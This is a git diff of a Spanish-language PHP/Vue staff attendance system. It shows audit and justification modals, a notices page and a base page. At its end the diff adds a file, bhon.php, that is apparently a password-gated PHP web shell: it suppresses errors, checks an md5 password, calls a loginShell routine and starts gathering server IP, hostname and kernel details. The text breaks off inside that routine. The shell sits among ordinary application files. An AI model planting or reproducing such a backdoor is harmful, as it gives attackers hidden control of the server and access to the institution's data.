{{clase_vista.horario_fin?.slice(0, 5) }}
|
||||||
|
</div>
|
||||||
|
<div class="col-12">
|
||||||
|
<strong>Salón:</strong>
|
||||||
|
{{ clase_vista.salon }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<section class="col-12">
|
||||||
|
<h4 class="h4 mt-4">Registro</h4>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-6 text-center" v-if="!clase_vista.registro_fecha">
|
||||||
|
<strong><span class="badge border border-dark"><i
|
||||||
|
class="ing-cancelar"></i></span>
|
||||||
|
Sin registro del profesor</strong>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6 text-center" v-else>
|
||||||
|
El profesor registró su asistencia a las
|
||||||
|
<code>{{clase_vista.registro_fecha?.slice(11, 19)}}</code>
|
||||||
|
<hr>
|
||||||
|
<p v-if="!clase_vista.registro_retardo" class="text-center">
|
||||||
|
<span class="badge border border-success"><i
|
||||||
|
class="ing-aceptar"></i></span>
|
||||||
|
A tiempo
|
||||||
|
</p>
|
||||||
|
<p v-else class="text-center">
|
||||||
|
<span class="badge border border-warning"><i
|
||||||
|
class="ing-retardo"></i></span>
|
||||||
|
Con retardo
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6 text-center" v-if="clase_vista.registro_justificada">
|
||||||
|
<strong>
|
||||||
|
<span class="badge badge-success mr-2">
|
||||||
|
<i class="ing-finalistas"></i>
|
||||||
|
</span>
|
||||||
|
Justificada
|
||||||
|
</strong>
|
||||||
|
<span class="text-muted">
|
||||||
|
por
|
||||||
|
{{clase_vista.justificador_nombre}} de
|
||||||
|
<strong>{{clase_vista.justificador_rol}}</strong>
|
||||||
|
<span v-if="clase_vista.justificador_facultad"> de
|
||||||
|
<strong>{{clase_vista.justificador_facultad}}</strong>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
el día {{clase_vista.registro_fecha_justificacion?.slice(0, 10)}} a
|
||||||
|
las
|
||||||
|
{{clase_vista.registro_fecha_justificacion?.slice(11, 16)}}
|
||||||
|
</span>
|
||||||
|
<div v-if="clase_vista.justificacion">
|
||||||
|
<hr>
|
||||||
|
<p class="text-center">
|
||||||
|
<strong>Observación:</strong>
|
||||||
|
{{clase_vista.justificacion}}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6 text-center"
|
||||||
|
v-else-if="clase_vista.registro_fecha_justificacion">
|
||||||
|
<strong>
|
||||||
|
<span class="badge border border-dark">
|
||||||
|
<i class="ing-cancelar"></i>
|
||||||
|
</span>
|
||||||
|
Sin justificar, <span class="text-muted">
|
||||||
|
{{clase_vista.justificador_nombre}}
|
||||||
|
({{clase_vista.justificador_rol}}{{clase_vista.justificador_facultad
|
||||||
|
? ' de ' + clase_vista.justificador_facultad : ''}})
|
||||||
|
</span> borró la justificación, el día
|
||||||
|
{{clase_vista.registro_fecha_justificacion?.slice(0, 10)}} a las
|
||||||
|
{{clase_vista.registro_fecha_justificacion?.slice(11, 16)}}
|
||||||
|
</strong>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-6 text-center" v-else>
|
||||||
|
<strong>
|
||||||
|
<span class="badge border border-dark">
|
||||||
|
<i class="ing-cancelar"></i>
|
||||||
|
</span>
|
||||||
|
Sin justificar
|
||||||
|
</strong>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
|
||||||
|
<section class="col-12" v-if="clase_vista.reposicion_id">
|
||||||
|
<h4 class="h4 mt-4">Reposición</h4>
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12 text-center">
|
||||||
|
Esta clase se reprogramó para el día
|
||||||
|
{{ clase_vista.reposicion_fecha }} a las
|
||||||
|
{{ clase_vista.reposicion_hora?.slice(0, 5) }} -
|
||||||
|
{{clase_vista.reposicion_hora_fin?.slice(0, 5) }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<!-- botón aceptar -->
|
||||||
|
<button type="button" class="btn btn-outline-primary" data-dismiss="modal">
|
||||||
|
<i class="ing-aceptar"></i>
|
||||||
|
Aceptar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal" tabindex="-1" id="cargando">
|
||||||
|
<div class="modal-dialog modal-dialog-centered">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h4 class="modal-title">{{store.current.modal_state}}</h4>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="modal-body container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12 text-center">
|
||||||
|
<span class="spinner-border spinner-border-lg"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<? if ($user->acceso == 'w') { ?>
|
||||||
|
<div class="modal fade" tabindex="-1" id="justificar" data-backdrop="static" data-keyboard="false">
|
||||||
|
<div class="modal-dialog modal-dialog-centered" v-if="store.current.justificada">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title">Justificar Asistencia</h5>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<h2 class="text-center">¿Desea justificar la asistencia?</h2>
|
||||||
|
<br>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12 text-center">
|
||||||
|
Justificar <strong :class="`text-${store.current.justificada.estado_color}`"
|
||||||
|
class="text-uppercase">
|
||||||
|
{{store.current.justificada.nombre}}</strong> del día <span
|
||||||
|
class="text-muted">{{store.current.justificada.registro_fecha_ideal}}</span>
|
||||||
|
a
|
||||||
|
las <span
|
||||||
|
class="text-muted">{{store.current.justificada.horario_hora?.slice(0,5)}}</span>
|
||||||
|
para el profesor <span
|
||||||
|
class="text-muted">{{store.current.justificada.profesor_nombre}}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
<div class="input-group">
|
||||||
|
<div class="input-group-prepend">
|
||||||
|
<span class="input-group-text text-white bg-primary">Observaciones</span>
|
||||||
|
</div>
|
||||||
|
<textarea class="form-control" aria-label="Observación"
|
||||||
|
placeholder="Puedes justificar sin observaciones" rows="2"
|
||||||
|
v-model="store.current.justificada.justificacion"></textarea>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-danger" data-dismiss="modal"
|
||||||
|
@click="cancelar_justificacion">
|
||||||
|
<i class="ing-cancelar"></i>
|
||||||
|
Cancelar
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-primary"
|
||||||
|
:disabled="!store.current.justificada.justificacion"
|
||||||
|
:class="{'disabled': !store.current.justificada.justificacion}" data-dismiss="modal"
|
||||||
|
@click="store.justificar">
|
||||||
|
Justificar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal" tabindex="-1" id="justificar-profesores" data-backdrop="static" data-keyboard="false"
|
||||||
|
v-scope="{
|
||||||
|
justificacion: {
|
||||||
|
fecha: null,
|
||||||
|
bloques: [],
|
||||||
|
observaciones: null
|
||||||
|
}
|
||||||
|
}">
|
||||||
|
<div class="modal-dialog modal-dialog-centered">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h5 class="modal-title">
|
||||||
|
Justificación de profesores
|
||||||
|
</h5>
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<p class="lead">
|
||||||
|
Selecciona los bloques que deseas justificar, puedes seleccionar varios bloques
|
||||||
|
<small>
|
||||||
|
Todos los profesores que tengan clases en los bloques seleccionados serán
|
||||||
|
justificados
|
||||||
|
</small>
|
||||||
|
</p>
|
||||||
|
<form>
|
||||||
|
<div class="form-group row" v-if="store.periodo">
|
||||||
|
<label for="fecha-justificación" class="col-sm-4 col-form-label barra-right">Fecha
|
||||||
|
de la
|
||||||
|
justificación</label>
|
||||||
|
<div class="col-sm-8">
|
||||||
|
<input type="date" class="form-control" id="fecha-justificación"
|
||||||
|
:min="store.periodo.periodo_fecha_inicio" :max="store.periodo.periodo_fecha_fin"
|
||||||
|
v-model="justificacion.fecha">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<fieldset class="form-group row">
|
||||||
|
<legend class="col-form-label col-sm-4 float-sm-left pt-0 barra-right">
|
||||||
|
Bloques horario
|
||||||
|
</legend>
|
||||||
|
<div class="col-sm-8">
|
||||||
|
<select class="custom-select" multiple v-model="justificacion.bloques">
|
||||||
|
<option selected disabled>Seleccione los bloques</option>
|
||||||
|
<option disabled><strong>Mañana</strong></option>
|
||||||
|
<option
|
||||||
|
v-for="bloque in store.bloques_horario.data.filter(bloque => bloque.hora_inicio < '13:00:00')"
|
||||||
|
:key="bloque.id" :value="bloque.id" class="text-center">
|
||||||
|
{{bloque.hora_inicio.substr(0,5)}} - {{bloque.hora_fin.substr(0,5)}}
|
||||||
|
</option>
|
||||||
|
<option disabled><strong>Tarde</strong></option>
|
||||||
|
<option
|
||||||
|
v-for="bloque in store.bloques_horario.data.filter(bloque => bloque.hora_inicio >= '13:00:00')"
|
||||||
|
:key="bloque.id" :value="bloque.id" class="text-center">
|
||||||
|
{{bloque.hora_inicio.substr(0,5)}} - {{bloque.hora_fin.substr(0,5)}}
|
||||||
|
</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</fieldset>
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="observaciones" class="col-sm-4 col-form-label barra-right">
|
||||||
|
Observaciones
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-8">
|
||||||
|
<textarea class="form-control" id="observaciones" rows="3"
|
||||||
|
v-model="justificacion.observaciones"></textarea>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-danger" data-dismiss="modal">Cancelar</button>
|
||||||
|
<button type="button" class="btn btn-primary"
|
||||||
|
:disabled="Object.keys(justificacion).some(key => !justificacion[key])" @click="
|
||||||
|
store.justificarBloque(justificacion.fecha, justificacion.bloques, justificacion.observaciones);
|
||||||
|
Object.keys(justificacion).forEach(key => justificacion[key] = null);
|
||||||
|
">
|
||||||
|
Justificar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<? } ?>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- <script src=" js/datalist.js"></script> -->
|
||||||
|
<script src="js/datepicker-es.js"></script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.5/FileSaver.min.js"></script>
|
||||||
|
<script src="js/auditoría.js?<?= rand(0, 2) ?>" type="module"></script>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
<script>
|
||||||
|
setDatalistFirst('#bloque_id');
|
||||||
|
setDatalistFirst('#facultad_id');
|
||||||
|
setDatalistFirst('#estado_id');
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
351
avisos.php
Normal file
351
avisos.php
Normal file
@@ -0,0 +1,351 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Auditoría asistencial</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.0/dist/trix.css">
|
||||||
|
<style>
|
||||||
|
[v-cloak] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?
|
||||||
|
$redirect = $_SERVER['PHP_SELF'];
|
||||||
|
include "import/html_header.php";
|
||||||
|
global $user;
|
||||||
|
|
||||||
|
html_header(
|
||||||
|
"Avisos del checador",
|
||||||
|
"Sistema de gestión de checador",
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
|
||||||
|
<main class="container-fluid px-4 mt-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 70vh;">
|
||||||
|
<!-- btn open modal -->
|
||||||
|
<? include_once 'import/periodo.php' ?>
|
||||||
|
<div class="row mb-4">
|
||||||
|
<div class="col-4">
|
||||||
|
<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#avisos-modal">
|
||||||
|
<div class="ing-mas"></div>
|
||||||
|
Nuevo aviso
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="table-responsive row" v-if="avisos.length">
|
||||||
|
<table class="table table-hover table-striped table-bordered table-sm">
|
||||||
|
<thead class="thead-dark">
|
||||||
|
<tr>
|
||||||
|
<th class="text-center" style="width: 20%;">Fecha</th>
|
||||||
|
<th class="text-center" style="width: 70%;">Aviso</th>
|
||||||
|
<th class="text-center" style="width: 10%;">Eliminar</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr v-for="aviso in avisos" :key="aviso.aviso_id" @click="aviso_shown = aviso">
|
||||||
|
<td class="text-center" data-toggle="modal" data-target="#aviso-extender">{{
|
||||||
|
aviso.aviso_fecha_inicial }} - {{ aviso.aviso_fecha_final }}</td>
|
||||||
|
<td class="text-center" data-toggle="modal" data-target="#aviso-mostrar">{{ aviso.aviso_titulo
|
||||||
|
}}</td>
|
||||||
|
<td class="text-center" data-toggle="modal" data-target="#aviso-suspender-modal"
|
||||||
|
@click="aviso_suspendido = aviso.aviso_id">
|
||||||
|
<span class="badge badge-pill badge-danger">
|
||||||
|
<div class="ing-borrar"></div>
|
||||||
|
</span>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div v-else class="alert alert-info" role="alert">
|
||||||
|
No hay avisos registrados
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal" tabindex="-1" role="dialog" accesskey="a" id="avisos-modal">
|
||||||
|
<div class="modal-dialog modal-xl" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header text-white">
|
||||||
|
<h5 class="modal-title">Crear nuevo aviso</h5>
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true" class="text-white">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<div class="form-box">
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="fechaInicio" class="col-4 col-form-label">Fecha de inicio</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="text" class="form-control date-picker" id="fechaInicio"
|
||||||
|
name="fecha" v-model="new_aviso.fechaInicio" readonly
|
||||||
|
placeholder="aaaa-mm-dd">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="fechaFin" class="col-4 col-form-label">Fecha fin</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="text" class="form-control date-picker" id="fechaFin" name="fecha"
|
||||||
|
v-model="new_aviso.fechaFin" readonly placeholder="aaaa-mm-dd">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="dlCarreras" class="col-4 col-form-label">Carreras</label>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<div class="col-12 my-2" v-if="relevant_carreras.length">
|
||||||
|
<div id="dlCarreras" class="datalist datalist-select mb-1 w-100">
|
||||||
|
<div class="datalist-input">
|
||||||
|
Selecciona una carrera
|
||||||
|
</div>
|
||||||
|
<span class="icono ing-buscar"></span>
|
||||||
|
<ul style="display:none">
|
||||||
|
<!--
|
||||||
|
<li class="datalist-option" data-id="0"
|
||||||
|
@click="new_aviso.carreras = carreras">
|
||||||
|
Todas las carreras
|
||||||
|
</li>
|
||||||
|
-->
|
||||||
|
<li class="datalist-option" v-for="carrera in relevant_carreras"
|
||||||
|
:key="carrera.carrera_id" :data-id="carrera.carrera_id"
|
||||||
|
@click="new_aviso.carreras.push(carrera)"
|
||||||
|
style=" white-space: nowrap;">
|
||||||
|
(<small> {{carrera.clave_carrera}} </small>) {{
|
||||||
|
carrera.carrera_nombre }}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<input type="hidden" id="carrera_id" name="id">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<ul class="list-group overflow-auto col-12" style="max-height: 200px;">
|
||||||
|
<li class="list-group-item list-group-item-action"
|
||||||
|
v-for="(carrera, index) in new_aviso.carreras" :key="carrera.carrera_id"
|
||||||
|
@click="new_aviso.carreras.splice(index, 1)">
|
||||||
|
<span class="icono ing-borrar text-danger"></span>
|
||||||
|
(<small> {{carrera.clave_carrera}} </small>) {{ carrera.carrera_nombre
|
||||||
|
}}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<div class="col-4 my-2">
|
||||||
|
<button type="button" class="btn btn-danger btn-block"
|
||||||
|
@click="new_aviso.carreras = []">
|
||||||
|
<span class="icono ing-borrar"></span>
|
||||||
|
Limpiar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="profesor" class="col-4 col-form-label">Profesores</label>
|
||||||
|
<hr>
|
||||||
|
<div class="col-12" v-if="relevant_profesores.length">
|
||||||
|
<div class="form-row justify-content-around align-items-center">
|
||||||
|
<input id="profesor" name="profesor"
|
||||||
|
class="form-control col-11 mr-1 px-2"
|
||||||
|
placeholder="Seleccione una profesor" list="dlProfesor"
|
||||||
|
v-model="profesor" @input="addProfesor">
|
||||||
|
<button type="button"
|
||||||
|
class="btn btn-outline-danger btn-sm form-control col ml-auto"
|
||||||
|
@click="profesor = null">
|
||||||
|
<i class="ing-borrar"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<datalist id="dlProfesor">
|
||||||
|
<option v-for="profesor in relevant_profesores"
|
||||||
|
:key="profesor.profesor_id" :value="formatProfesor(profesor)">
|
||||||
|
</datalist>
|
||||||
|
</div>
|
||||||
|
<ul class="list-group overflow-auto my-2 col-12" style="max-height: 200px;">
|
||||||
|
<li class="list-group-item list-group-item-action"
|
||||||
|
v-for="(profesor, index) in new_aviso.profesores"
|
||||||
|
:key="profesor.profesor_id"
|
||||||
|
@click="new_aviso.profesores.splice(index, 1)">
|
||||||
|
<span class="icono ing-borrar text-danger"></span>
|
||||||
|
(<small> {{profesor.profesor_clave}} </small>) {{
|
||||||
|
profesor.profesor_nombre }}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<div class="col-4 my-2">
|
||||||
|
<button type="button" class="btn btn-danger btn-block"
|
||||||
|
@click="new_aviso.profesores = []">
|
||||||
|
<span class="icono ing-borrar"></span>
|
||||||
|
Limpiar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="aviso" class="col-4 col-form-label">Etiqueta</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="text" class="form-control" id="aviso" name="aviso"
|
||||||
|
v-model="new_aviso.titulo" placeholder="Etiqueta del aviso">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="aviso" class="col-4 col-form-label">Aviso</label>
|
||||||
|
<!-- always use relative units -->
|
||||||
|
<div class="col-6">
|
||||||
|
<input id="x" type="hidden" name="content">
|
||||||
|
<trix-editor input="x" class="form-control" id="descripcion" name="descripcion"
|
||||||
|
v-model="new_aviso.descripcion"
|
||||||
|
placeholder="Aviso que se mostrará en el checador"
|
||||||
|
style="min-height: 7em; max-height: 10em; overflow-y: auto;"></trix-editor>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-danger" data-dismiss="modal"
|
||||||
|
@click="new_aviso.reset()">Cancelar</button>
|
||||||
|
<button type="button" class="btn btn-primary" @click="createAviso()"
|
||||||
|
:disabled="!new_aviso.isValid" :class="{'disabled': !new_aviso.isValid}">
|
||||||
|
Guardar cambios
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal" tabindex="-1" role="dialog" accesskey="a" id="aviso-suspender-modal">
|
||||||
|
<div class="modal-dialog modal-dialog-centered" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header text-white">
|
||||||
|
<h5 class="modal-title">Eliminar aviso</h5>
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true" class="text-white">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<h1>¿Está seguro que desea eliminar el aviso?</h1>
|
||||||
|
<em class="text-center">
|
||||||
|
<p>Esta acción no se puede deshacer</p>
|
||||||
|
</em>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-danger" data-dismiss="modal">Cancelar</button>
|
||||||
|
<button type="button" class="btn btn-danger" data-dismiss="modal"
|
||||||
|
@click="suspenderAviso()">Eliminar</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal" tabindex="-1" role="dialog" accesskey="a" id="aviso-mostrar">
|
||||||
|
<div class="modal-dialog modal-dialog-centered" role="document" v-if="aviso_shown">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header text-white">
|
||||||
|
<h5 class="modal-title">{{ aviso_shown.aviso_titulo }}</h5>
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true" class="text-white">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container">
|
||||||
|
<div class="row mb-2">
|
||||||
|
<div class="col-12">
|
||||||
|
<fieldset>
|
||||||
|
<legend>Fecha</legend>
|
||||||
|
<p class="text-center">{{ aviso_shown.aviso_fecha_inicial }} - {{
|
||||||
|
aviso_shown.aviso_fecha_final }}</p>
|
||||||
|
</fieldset>
|
||||||
|
<fieldset>
|
||||||
|
<legend>Aviso</legend>
|
||||||
|
<p class="text-center text-justify border rounded p-2 border-primary"
|
||||||
|
v-html="aviso_shown.aviso_texto"></p>
|
||||||
|
</fieldset>
|
||||||
|
|
||||||
|
<fieldset v-if="aviso_shown.profesores.length">
|
||||||
|
<legend>Profesores</legend>
|
||||||
|
<ul v-if="aviso_shown.profesores.length" class="list-group">
|
||||||
|
<li v-for="profesor in aviso_shown.profesores" :key="profesor.profesor_id"
|
||||||
|
class="list-group-item list-group-item-light">
|
||||||
|
{{ profesor.profesor_nombre }}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</fieldset>
|
||||||
|
|
||||||
|
<fieldset v-if="aviso_shown.carreras.length">
|
||||||
|
<legend>Carreras</legend>
|
||||||
|
<ul class="list-group" v-if="aviso_shown.carreras.length">
|
||||||
|
<li v-for="carrera in aviso_shown.carreras" :key="carrera.carrera_id"
|
||||||
|
class="list-group-item list-group-item-light">
|
||||||
|
{{ carrera.carrera_nombre }}
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</fieldset>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal" tabindex="-1" role="dialog" accesskey="a" id="aviso-extender">
|
||||||
|
<div class="modal-dialog modal-dialog-centered" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header text-white">
|
||||||
|
<h5 class="modal-title">Extender aviso</h5>
|
||||||
|
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true" class="text-white">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="container" v-if="aviso_shown">
|
||||||
|
<fieldset>
|
||||||
|
<legend>{{ aviso_shown.aviso_titulo}}</legend>
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="uFechaFin" class="col-4 col-form-label">Fecha fin</label>
|
||||||
|
<div class="col-6">
|
||||||
|
<input v-effect="initializeDatepickers($el)" type="text"
|
||||||
|
class="form-control date-picker" id="uFechaFin" name="fecha" readonly
|
||||||
|
placeholder="aaaa-mm-dd" v-model="aviso_shown.aviso_fecha_final">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</fieldset>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-outline-danger" data-dismiss="modal">Cancelar</button>
|
||||||
|
<button type="button" class="btn btn-primary" data-dismiss="modal"
|
||||||
|
@click="updateAviso(aviso_shown)">Extender</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<? include "import/html_footer.php"; ?>
|
||||||
|
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
<script src="js/datepicker-es.js"></script>
|
||||||
|
<script src="js/avisos.js?<?= rand(0, 2) ?>" type="module"></script>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
<script type="text/javascript" src="https://unpkg.com/trix@2.0.0/dist/trix.umd.min.js"></script>
|
||||||
|
<script>
|
||||||
|
document.addEventListener("trix-file-accept", function (event) {
|
||||||
|
event.preventDefault()
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
54
base.php
Normal file
54
base.php
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
<?php
|
||||||
|
require_once 'class/c_login.php';
|
||||||
|
require_once 'include/bd_pdo.php';
|
||||||
|
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
$user->access('usuarios');
|
||||||
|
if($user->acceso == null){
|
||||||
|
header('Location: main.php?error=1');
|
||||||
|
}else{
|
||||||
|
$user->print_to_log('Base');
|
||||||
|
}
|
||||||
|
$fac = $user->facultad['facultad_id'] ?? -1;
|
||||||
|
if($user->admin){
|
||||||
|
$fac=null;
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Base</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<script src="js/messages.js" defer></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?php
|
||||||
|
include "import/html_header.php";
|
||||||
|
html_header(
|
||||||
|
"PROFESORES",
|
||||||
|
"Gestión de Checador "
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
<main class="content marco">
|
||||||
|
</main>
|
||||||
|
<?php
|
||||||
|
include "import/html_footer.php";
|
||||||
|
?>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
<?php
|
||||||
|
require_once 'js/messages.php';
|
||||||
|
?>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
671
bhon.php
Normal file
671
bhon.php
Normal file
@@ -0,0 +1,671 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
error_reporting(0);
|
||||||
|
$password = "d61155f6f6120c0f17546b5311b08f9e";
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
if(md5($_POST['password']) == $password) {
|
||||||
|
$_SESSION['isLogin'] = true;
|
||||||
|
}else {
|
||||||
|
loginShell();
|
||||||
|
}
|
||||||
|
|
||||||
|
function info() {
|
||||||
|
$arr = [
|
||||||
|
'ip' => $_SERVER['SERVER_ADDR'],
|
||||||
|
'host' => gethostname(),
|
||||||
|
'kernel' => php_uname(),
|
||||||
|
